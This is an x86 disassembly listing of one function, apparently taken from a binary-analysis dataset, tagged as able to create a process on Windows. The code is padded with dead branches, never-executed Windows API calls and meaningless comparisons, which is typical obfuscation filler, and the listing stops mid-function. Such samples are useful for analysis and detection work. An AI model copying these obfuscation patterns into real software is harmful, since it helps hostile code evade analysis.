Function at 0x100305b4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100679dc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x510
push esi
push edi
mov dword [ebp - 0x64], 0x8a87013d
mov dword [ebp - 0xd8], 0
jmp 0x100305f4
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 4
jge 0x10030610
mov eax, dword [ebp - 0xd8]
mov dword [ebp + eax*4 - 0x4e0], 0x40d7f825
jmp 0x100305e7
mov dword [ebp - 0x64], 3
jmp 0x10030620
mov eax, dword [ebp - 0x64]
dec eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jl 0x10030692
mov dword [ebp - 0x358], 0xffffffff
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ebp + ecx*4 - 0x4e0]
cmp dword [ebp + eax*4 - 0x4e0], ecx
jle 0x1003065c
mov eax, dword [ebp - 0x64]
cmp dword [ebp + eax*4 - 0x4e0], 0
jne 0x1003065c
and dword [ebp - 0x250], 0
jmp 0x10030666
mov dword [ebp - 0x250], 1
mov eax, dword [ebp - 0x250]
mov dword [ebp - 0x358], eax
mov byte [ebp - 0x4e], 0
movzx eax, byte [ebp - 0x4e]
test eax, eax
je 0x10030690
push 0x5c7
push 0x26d3
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
jmp 0x10030619
mov dword [ebp - 0x6c], 0x8a87013d
mov dword [ebp - 0xfc], 0
jmp 0x100306b2
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 4
jge 0x100306ce
mov eax, dword [ebp - 0xfc]
mov dword [ebp + eax*4 - 0x4f4], 0x40d7f825
jmp 0x100306a5
mov dword [ebp - 0x6c], 3
jmp 0x100306de
mov eax, dword [ebp - 0x6c]
dec eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
jl 0x10030750
mov dword [ebp - 0x374], 0xffffffff
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ebp + ecx*4 - 0x4f4]
cmp dword [ebp + eax*4 - 0x4f4], ecx
jle 0x1003071a
mov eax, dword [ebp - 0x6c]
cmp dword [ebp + eax*4 - 0x4f4], 0
jne 0x1003071a
and dword [ebp - 0x2f4], 0
jmp 0x10030724
mov dword [ebp - 0x2f4], 1
mov eax, dword [ebp - 0x2f4]
mov dword [ebp - 0x374], eax
mov byte [ebp - 0x5a], 0
movzx eax, byte [ebp - 0x5a]
test eax, eax
je 0x1003074e
push 0x5c7
push 0x26d3
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
jmp 0x100306d7
push 2
lea ecx, [ebp - 0x49c]
call fcn.1002a894
and dword [ebp - 4], 0
mov dword [ebp - 0xcc], 8
mov dword [ebp - 0xe8], 0
jmp 0x10030784
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 2
jge 0x100307a6
push dword [ebp - 0xe8]
lea ecx, [ebp - 0x49c]
call fcn.1002a943
mov dword [eax], 0x9b55bb2c
jmp 0x10030777
mov dword [ebp - 0xcc], 0
jmp 0x100307bf
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 1
jg 0x100307e1
mov byte [ebp - 0x54], 0
movzx eax, byte [ebp - 0x54]
test eax, eax
je 0x100307df
push 0x1784
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
jmp 0x100307b2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x49c]
call fcn.1002a918
mov dword [ebp - 0x38c], 0xfffffff8
mov dword [ebp - 0x428], 0xd416db6
mov dword [ebp - 0x37c], 8
mov dword [ebp - 0x39c], 0x31d8b9db
mov dword [ebp - 0x414], 0xfffffff8
mov dword [ebp - 0x118], 0xca8cda2a
mov dword [ebp - 0x41c], 0xffffffff
mov dword [ebp - 0x424], 0x48b1647c
mov dword [ebp - 0x318], 0xf495e3b3
mov dword [ebp - 0x42c], 0xfffffff9
mov dword [ebp - 0x434], 0xbdb979cd
mov dword [ebp - 0x43c], 1
mov dword [ebp - 0x444], 9
mov dword [ebp - 0x44c], 0x2c4475ee
mov dword [ebp - 0x454], 1
mov dword [ebp - 0x45c], 0x9cc099a5
mov dword [ebp - 0x34], 0
jmp 0x100308a0
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 1
jge 0x100308b6
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x2fc], 0xfffffffa
jmp 0x10030899
mov dword [ebp - 0x34], 0
jmp 0x100308c6
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 4
jge 0x100308dc
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x50c], 0x1ac7eb23
jmp 0x100308bf
mov byte [ebp - 0x5e], 0
movzx eax, byte [ebp - 0x5e]
test eax, eax
je 0x100308fd
push 0x1a17
push 0x7b7
push 0x163e
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x50c]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x50c], eax
cmp dword [ebp - 0x37c], 0xc6200d40
jb 0x1003092e
mov dword [ebp - 0x384], 1
jmp 0x10030935
and dword [ebp - 0x384], 0
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x464], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2fc], 0xfff7
jne 0x10030960
mov dword [ebp - 0x304], 1
jmp 0x10030967
and dword [ebp - 0x304], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2fc]
cmp eax, dword [ebp - 0x304]
jge 0x10030988
mov dword [ebp - 0x30c], 1
jmp 0x1003098f
and dword [ebp - 0x30c], 0
cmp dword [ebp - 0x30c], 0
ja 0x100309a4
mov dword [ebp - 0x314], 1
jmp 0x100309ab
and dword [ebp - 0x314], 0
mov eax, dword [ebp - 0x118]
cmp dword [ebp - 0x314], eax
jne 0x100309c5
mov dword [ebp - 0x31c], 1
jmp 0x100309cc
and dword [ebp - 0x31c], 0
cmp dword [ebp - 0x31c], 0xfffffffa
je 0x100309e1
mov dword [ebp - 0x324], 1
jmp 0x100309e8
and dword [ebp - 0x324], 0
mov eax, dword [ebp - 0x38c]
cmp eax, dword [ebp - 0x324]
jg 0x10030a02
mov dword [ebp - 0x394], 1
jmp 0x10030a09
and dword [ebp - 0x394], 0
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x46c], eax
mov eax, dword [ebp - 0x318]
add eax, dword [ebp - 0x118]
mov dword [ebp - 0x318], eax
push 2
lea ecx, [ebp - 0x4ac]
call fcn.1002a894
mov dword [ebp - 4], 1
mov dword [ebp - 0xdc], 8
mov dword [ebp - 0xb8], 0
jmp 0x10030a5e
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 2
jge 0x10030a80
push dword [ebp - 0xb8]
lea ecx, [ebp - 0x4ac]
call fcn.1002a943
mov dword [eax], 0x9b55bb2c
jmp 0x10030a51
mov dword [ebp - 0xdc], 0
jmp 0x10030a99
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 1
jg 0x10030abb
mov byte [ebp - 0x4a], 0
movzx eax, byte [ebp - 0x4a]
test eax, eax
je 0x10030ab9
push 0x1784
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
jmp 0x10030a8c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4ac]
call fcn.1002a918
mov dword [ebp - 0x3cc], 0xfffffff8
mov dword [ebp - 0x3a4], 0x16ef
cmp dword [ebp - 0x3a4], 0x1050
jge 0x10030dc0
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x2bc]
push eax
push 0x100081ac
call fcn.1004eb00
add esp, 0x10
push dword [ebp - 0x2bc]
lea ecx, [ebp - 0x3f0]
call fcn.1002a894
mov dword [ebp - 4], 2
and dword [ebp - 0xc0], 0
jmp 0x10030b3e
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0xc0]
cmp eax, dword [ebp - 0x2bc]
jge 0x10030b6c
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x3f0]
call fcn.1002a943
push eax
push 0x10008154
call fcn.1004eb00
pop ecx
pop ecx
jmp 0x10030b31
push dword [ebp - 0x90]
lea ecx, [ebp - 0x3fc]
call fcn.1002a894
mov byte [ebp - 4], 3
push dword [ebp - 0x90]
lea ecx, [ebp - 0x33c]
call fcn.1002a894
mov byte [ebp - 4], 4
push dword [ebp - 0x90]
lea ecx, [ebp - 0x348]
call fcn.1002a894
mov byte [ebp - 4], 5
and dword [ebp - 0x3c], 0
jmp 0x10030bb8
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x90]
jge 0x10030c50
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x348]
call fcn.1002a943
push eax
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x33c]
call fcn.1002a943
push eax
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x3fc]
call fcn.1002a943
push eax
push 0x100081ac
call fcn.1004eb00
add esp, 0x10
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x33c]
call fcn.1002a943
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x164]
mov dword [ecx], eax
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x348]
call fcn.1002a943
mov dword [ebp - 0x2c4], eax
mov eax, dword [ebp - 0x2c4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x2c4]
mov dword [ecx], eax
jmp 0x10030bb1
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x3ac], eax
mov eax, dword [ebp - 0x120]
dec eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x3ac], 0
je 0x10030d79
lea eax, [ebp - 0x24]
push eax
push 0x10008154
call fcn.1004eb00
pop ecx
pop ecx
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x90]
dec eax
mov dword [ebp - 0x28], eax
jmp 0x10030ca0
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jl 0x10030d58
push dword [ebp - 0x28]
lea ecx, [ebp - 0x33c]
call fcn.1002a943
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [eax]
jl 0x10030cd4
push dword [ebp - 0x28]
lea ecx, [ebp - 0x348]
call fcn.1002a943
mov eax, dword [eax]
cmp eax, dword [ebp - 0x24]
jge 0x10030cd6
jmp 0x10030c99
push dword [ebp - 0x28]
lea ecx, [ebp - 0x3fc]
call fcn.1002a943
cmp dword [eax], 1
jne 0x10030d2b
push dword [ebp - 0x28]
lea ecx, [ebp - 0x33c]
call fcn.1002a943
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [eax]
jne 0x10030d16
push dword [ebp - 0x28]
lea ecx, [ebp - 0x348]
call fcn.1002a943
mov eax, dword [eax]
mov dword [ebp - 0x16c], eax
jmp 0x10030d20
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x24], eax
jmp 0x10030d53
push dword [ebp - 0x28]
lea ecx, [ebp - 0x33c]
call fcn.1002a943
mov esi, eax
push dword [ebp - 0x28]
lea ecx, [ebp - 0x348]
call fcn.1002a943
mov ecx, dword [esi]
add ecx, dword [eax]
sub ecx, dword [ebp - 0x24]
mov dword [ebp - 0x24], ecx
jmp 0x10030c99
push dword [ebp - 0x24]
lea ecx, [ebp - 0x3f0]
call fcn.1002a943
push dword [eax]
push 0x10008194
call fcn.1004ef5e
pop ecx
pop ecx
jmp 0x10030c50
push 0x100080bd
call fcn.1004f342
pop ecx
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x348]
call fcn.1002a9ee
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x33c]
call fcn.1002a9ee
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x3fc]
call fcn.1002a9ee
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3f0]
call fcn.1002a9ee
mov dword [ebp - 0x474], 0xd416db6
mov dword [ebp - 0x3b4], 8
mov dword [ebp - 0x36c], 0x31d8b9db
mov dword [ebp - 0x47c], 0xfffffff8
mov dword [ebp - 0x11c], 0xca8cda2a
mov dword [ebp - 0x484], 0xffffffff
mov dword [ebp - 0x48c], 0x48b1647c
mov dword [ebp - 0x2e4], 0xf495e3b3
mov dword [ebp - 0x4f8], 0xfffffff9
mov dword [ebp - 0x410], 0xbdb979cd
mov dword [ebp - 0x470], 1
mov dword [ebp - 0x418], 9
mov dword [ebp - 0x4b0], 0x2c4475ee
mov dword [ebp - 0x420], 1
mov dword [ebp - 0x478], 0x9cc099a5
mov dword [ebp - 0x38], 0
jmp 0x10030e66
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jge 0x10030e7c
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x2cc], 0xfffffffa
jmp 0x10030e5f
mov dword [ebp - 0x38], 0
jmp 0x10030e8c
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 4
jge 0x10030ea2
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x51c], 0x1ac7eb23
jmp 0x10030e85
mov byte [ebp - 0x4b], 0
movzx eax, byte [ebp - 0x4b]
test eax, eax
je 0x10030ec3
push 0x1a17
push 0x7b7
push 0x163e
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x51c]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x51c], eax
cmp dword [ebp - 0x3b4], 0xc6200d40
jb 0x10030ef4
mov dword [ebp - 0x3c4], 1
jmp 0x10030efb
and dword [ebp - 0x3c4], 0
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x400], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2cc], 0xfff7
jne 0x10030f26
mov dword [ebp - 0x174], 1
jmp 0x10030f2d
and dword [ebp - 0x174], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2cc]
cmp eax, dword [ebp - 0x174]
jge 0x10030f4e
mov dword [ebp - 0x2d4], 1
jmp 0x10030f55
and dword [ebp - 0x2d4], 0
cmp dword [ebp - 0x2d4], 0
ja 0x10030f6a
mov dword [ebp - 0x17c], 1
jmp 0x10030f71
and dword [ebp - 0x17c], 0
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x17c], eax
jne 0x10030f8b
mov dword [ebp - 0x2dc], 1
jmp 0x10030f92
and dword [ebp - 0x2dc], 0
cmp dword [ebp - 0x2dc], 0xfffffffa
je 0x10030fa7
mov dword [ebp - 0x184], 1
jmp 0x10030fae
and dword [ebp - 0x184], 0
mov eax, dword [ebp - 0x3cc]
cmp eax, dword [ebp - 0x184]
jg 0x10030fc8
mov dword [ebp - 0x3d4], 1
jmp 0x10030fcf
and dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0x36c]
mov dword [ebp - 0x4e4], eax
mov eax, dword [ebp - 0x2e4]
add eax, dword [ebp - 0x11c]
mov dword [ebp - 0x2e4], eax
push 2
lea ecx, [ebp - 0x13c]
call fcn.1002a894
mov dword [ebp - 4], 6
mov dword [ebp - 0x18], 0
push 4
lea ecx, [ebp - 0xa8]
call fcn.1002a894
mov byte [ebp - 4], 7
mov dword [ebp - 0x368], 5
mov dword [ebp - 0x10], 0
jmp 0x10031033
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x10031049
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x148], 1
jmp 0x1003102c
mov dword [ebp - 0x10], 0
jmp 0x10031059
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10031075
push dword [ebp - 0x10]
lea ecx, [ebp - 0x13c]
call fcn.1002a943
mov dword [eax], 0xde19d29b
jmp 0x10031052
mov dword [ebp - 0x10], 0
jmp 0x10031085
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x100310a1
push dword [ebp - 0x10]
lea ecx, [ebp - 0xa8]
call fcn.1002a943
mov dword [eax], 0xd5493e6
jmp 0x1003107e
mov dword [ebp - 0x10], 0
jmp 0x100310b1
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x100310c7
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x354], 0x4e2095e0
jmp 0x100310aa
push 0
lea ecx, [ebp - 0x13c]
call fcn.1002a943
and dword [eax], 0
jmp 0x100310fd
push 0
lea ecx, [ebp - 0x13c]
call fcn.1002a943
mov dword [ebp - 0x2ec], eax
mov eax, dword [ebp - 0x2ec]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x2ec]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x13c]
call fcn.1002a943
cmp dword [eax], 2
jg 0x10031258
mov dword [ebp - 0x40], 0x4e6d4f28
mov dword [ebp - 0x40], 0
jmp 0x1003112a
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jg 0x10031253
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x148]
mov dword [ebp - 0x430], eax
mov eax, dword [ebp - 0x40]
mov esi, dword [ebp + eax*4 - 0x148]
push 4
pop eax
shl eax, 0
mov edi, dword [ebp + eax - 0x148]
push 1
lea ecx, [ebp - 0x13c]
call fcn.1002a943
mov ecx, dword [ebp - 0x40]
mov eax, dword [eax]
add eax, dword [ebp + ecx*4 - 0x148]
sub edi, eax
cmp esi, edi
jne 0x10031189
mov dword [ebp - 0x190], 1
jmp 0x10031190
and dword [ebp - 0x190], 0
push 0
lea ecx, [ebp - 0x13c]
call fcn.1002a943
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x148]
cmp eax, dword [ebp - 0x190]
jge 0x100311c0
cmp dword [ebp - 0x40], 0
je 0x100311c0
mov dword [ebp - 0x26c], 1
jmp 0x100311c7
and dword [ebp - 0x26c], 0
mov eax, dword [ebp - 0x26c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x480], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x148]
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x40]
cmp dword [ebp + eax*4 - 0x148], 0xf5872d9e
jae 0x10031208
mov dword [ebp - 0x198], 1
jmp 0x1003120f
and dword [ebp - 0x198], 0
push 0
lea ecx, [ebp - 0x13c]
call fcn.1002a943
mov ecx, dword [ebp - 0x198]
cmp ecx, dword [eax]
jne 0x10031232
mov dword [ebp - 0x268], 1
jmp 0x10031239
and dword [ebp - 0x268], 0
push 3
lea ecx, [ebp - 0xa8]
call fcn.1002a943
mov ecx, dword [ebp - 0x268]
mov dword [eax], ecx
jmp 0x10031123
jmp 0x100310d9
mov dword [ebp - 0x18], 0
jmp 0x10031268
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jg 0x100315d0
mov dword [ebp - 0xe4], 7
mov dword [ebp - 0x1b8], 2
mov dword [ebp - 0x370], 0xfffffffb
push 3
lea ecx, [ebp - 0xa8]
call fcn.1002a943
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa8]
call fcn.1002a943
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0x148]
push 4
pop eax
shl eax, 0
sub esi, dword [ebp + eax - 0x354]
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa8]
call fcn.1002a943
sub esi, dword [eax]
je 0x100312e5
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x354], 0
mov eax, 0x60ec253d
cmp eax, 0xfffffffd
jae 0x100312fb
mov dword [ebp - 0x1a0], 1
jmp 0x10031302
and dword [ebp - 0x1a0], 0
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa8]
call fcn.1002a943
mov ecx, dword [ebp - 0x1a0]
cmp ecx, dword [eax]
jne 0x10031335
push 0
lea ecx, [ebp - 0x13c]
call fcn.1002a943
cmp dword [eax], 0
jne 0x10031335
and dword [ebp - 0x2c8], 0
jmp 0x1003133f
mov dword [ebp - 0x2c8], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x354]
cmp dword [ebp - 0x2c8], eax
jl 0x1003135f
mov dword [ebp - 0x364], 1
jmp 0x10031366
and dword [ebp - 0x364], 0
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa8]
call fcn.1002a943
push 0
lea ecx, [ebp - 0x13c]
call fcn.1002a943
mov dword [ebp - 0x1a8], eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa8]
call fcn.1002a943
mov ecx, dword [ebp - 0x1a8]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x4c0], eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa8]
call fcn.1002a943
mov esi, dword [ebp - 0xe4]
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa8]
call fcn.1002a943
imul esi, dword [eax]
cmp esi, 0x6dc75df6
jl 0x100313f2
mov dword [ebp - 0x270], 1
jmp 0x100313f9
and dword [ebp - 0x270], 0
push 4
pop eax
shl eax, 0
mov esi, dword [ebp - 0x270]
sub esi, dword [ebp + eax - 0x354]
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa8]
call fcn.1002a943
cmp esi, dword [eax]
jl 0x1003142a
mov dword [ebp - 0x1b0], 1
jmp 0x10031431
and dword [ebp - 0x1b0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x354]
add eax, dword [ebp - 0x1b0]
cmp eax, dword [ebp - 0x18]
jl 0x10031455
mov dword [ebp - 0x2f8], 1
jmp 0x1003145c
and dword [ebp - 0x2f8], 0
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0x1b8], eax
mov esi, dword [ebp - 0x1b8]
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa8]
call fcn.1002a943
cmp esi, dword [eax]
jne 0x1003148c
mov dword [ebp - 0x278], 1
jmp 0x10031493
and dword [ebp - 0x278], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x354]
cmp dword [ebp - 0x278], eax
je 0x100314b9
or eax, 0xffffffff
je 0x100314b9
mov dword [ebp - 0x1c0], 1
jmp 0x100314c0
and dword [ebp - 0x1c0], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x1c0], eax
jne 0x100314e7
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x148], 0
je 0x100314e7
mov dword [ebp - 0x2d0], 1
jmp 0x100314ee
and dword [ebp - 0x2d0], 0
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa8]
call fcn.1002a943
mov ecx, dword [ebp - 0x2d0]
cmp ecx, dword [eax]
jle 0x10031512
mov dword [ebp - 0x1c8], 1
jmp 0x10031519
and dword [ebp - 0x1c8], 0
push 3
lea ecx, [ebp - 0xa8]
call fcn.1002a943
mov ecx, dword [ebp - 0x1c8]
cmp ecx, dword [eax]
jl 0x1003153c
mov dword [ebp - 0x280], 1
jmp 0x10031543
and dword [ebp - 0x280], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x148]
cmp dword [ebp - 0x280], eax
jle 0x10031564
mov dword [ebp - 0x1d0], 1
jmp 0x1003156b
and dword [ebp - 0x1d0], 0
mov eax, dword [ebp - 0x368]
cmp dword [ebp - 0x1d0], eax
jne 0x10031585
mov dword [ebp - 0x3a0], 1
jmp 0x1003158c
and dword [ebp - 0x3a0], 0
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa8]
call fcn.1002a943
xor eax, eax
cmp eax, 0x688afc00
jge 0x100315b5
cmp dword [ebp - 0xe4], 0
jne 0x100315b5
and dword [ebp - 0x310], 0
jmp 0x100315bf
mov dword [ebp - 0x310], 1
mov eax, dword [ebp - 0x310]
mov dword [ebp - 0x370], eax
jmp 0x10031261
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xa8]
call fcn.1002a918
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x13c]
call fcn.1002a918
movzx eax, byte [0x10788794]
test eax, eax
je 0x1003160c
mov esi, 0x1006d8a0
mov edi, dword [ebp + 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
jmp 0x10032cbc
mov dword [ebp - 0x80], 3
mov dword [ebp - 0x70], 0xfffffffc
mov dword [ebp - 0xf4], 0xc2e6
mov dword [ebp - 0xec], 0xc2f92e6c
mov dword [ebp - 0x2d8], 0x93f6
push 1
lea ecx, [ebp - 0x3e4]
call fcn.1002a894
mov dword [ebp - 4], 8
mov dword [ebp - 0x210], 3
mov dword [ebp - 0xc8], 0
jmp 0x1003166f
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 1
jge 0x10031691
push dword [ebp - 0xc8]
lea ecx, [ebp - 0x3e4]
call fcn.1002a943
mov dword [eax], 7
jmp 0x10031662
mov byte [ebp - 0x4d], 0
movzx eax, byte [ebp - 0x4d]
test eax, eax
je 0x100316ad
push 0x7b6
push 0x167c
call dword [sym.imp.USER32.dll_MonitorFromWindow]
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
jne 0x100316c4
mov dword [ebp - 0x70], 0xec32
cmp dword [ebp - 0x70], 0
mov dword [ebp - 0x70], 0x978d8ef0
mov eax, dword [ebp - 0x70]
add eax, dword [ebp - 0x80]
cmp eax, 0xfffffff8
jge 0x100316e2
mov dword [ebp - 0x1d8], 1
jmp 0x100316e9
and dword [ebp - 0x1d8], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x1d8], eax
jg 0x10031700
mov dword [ebp - 0x288], 1
jmp 0x10031707
and dword [ebp - 0x288], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x288], eax
je 0x10031721
mov dword [ebp - 0x1e0], 1
jmp 0x10031728
and dword [ebp - 0x1e0], 0
mov eax, dword [ebp - 0x1e0]
sub eax, dword [ebp - 0xec]
je 0x1003174b
cmp dword [ebp - 0x2d8], 0
je 0x1003174b
mov dword [ebp - 0x1e8], 1
jmp 0x10031752
and dword [ebp - 0x1e8], 0
mov eax, dword [ebp - 0x2d8]
cmp dword [ebp - 0x1e8], eax
jg 0x1003176c
mov dword [ebp - 0x290], 1
jmp 0x10031773
and dword [ebp - 0x290], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x290], eax
jge 0x1003178d
mov dword [ebp - 0x1f0], 1
jmp 0x10031794
and dword [ebp - 0x1f0], 0
push 0
lea ecx, [ebp - 0x3e4]
call fcn.1002a943
mov ecx, dword [ebp - 0x1f0]
cmp ecx, dword [eax]
je 0x100317b7
mov dword [ebp - 0x300], 1
jmp 0x100317be
and dword [ebp - 0x300], 0
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x300]
jge 0x100317d5
mov dword [ebp - 0x1f8], 1
jmp 0x100317dc
and dword [ebp - 0x1f8], 0
push 0
lea ecx, [ebp - 0x3e4]
call fcn.1002a943
mov esi, dword [ebp - 0x1f8]
imul esi, dword [eax]
push 0
lea ecx, [ebp - 0x3e4]
call fcn.1002a943
cmp esi, dword [eax]
jg 0x1003180f
mov dword [ebp - 0x298], 1
jmp 0x10031816
and dword [ebp - 0x298], 0
cmp dword [ebp - 0x298], 0
je 0x1003182b
mov dword [ebp - 0x3d0], 1
jmp 0x10031832
and dword [ebp - 0x3d0], 0
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x440], eax
mov eax, 0xfffe
test eax, eax
jne 0x10031853
mov dword [ebp - 0x200], 1
jmp 0x1003185a
and dword [ebp - 0x200], 0
mov eax, dword [ebp - 0x200]
sub eax, dword [ebp - 0xf4]
mov dword [ebp - 0xec], eax
je 0x10031891
or eax, 0xffffffff
je 0x10031891
cmp dword [ebp - 0x210], 0
je 0x10031891
cmp dword [ebp - 0xf4], 0
je 0x10031891
mov dword [ebp - 0x2e0], 1
jmp 0x10031898
and dword [ebp - 0x2e0], 0
cmp dword [ebp - 0x2e0], 0xfffffff9
jge 0x100318ad
mov dword [ebp - 0x208], 1
jmp 0x100318b4
and dword [ebp - 0x208], 0
mov eax, dword [ebp - 0x80]
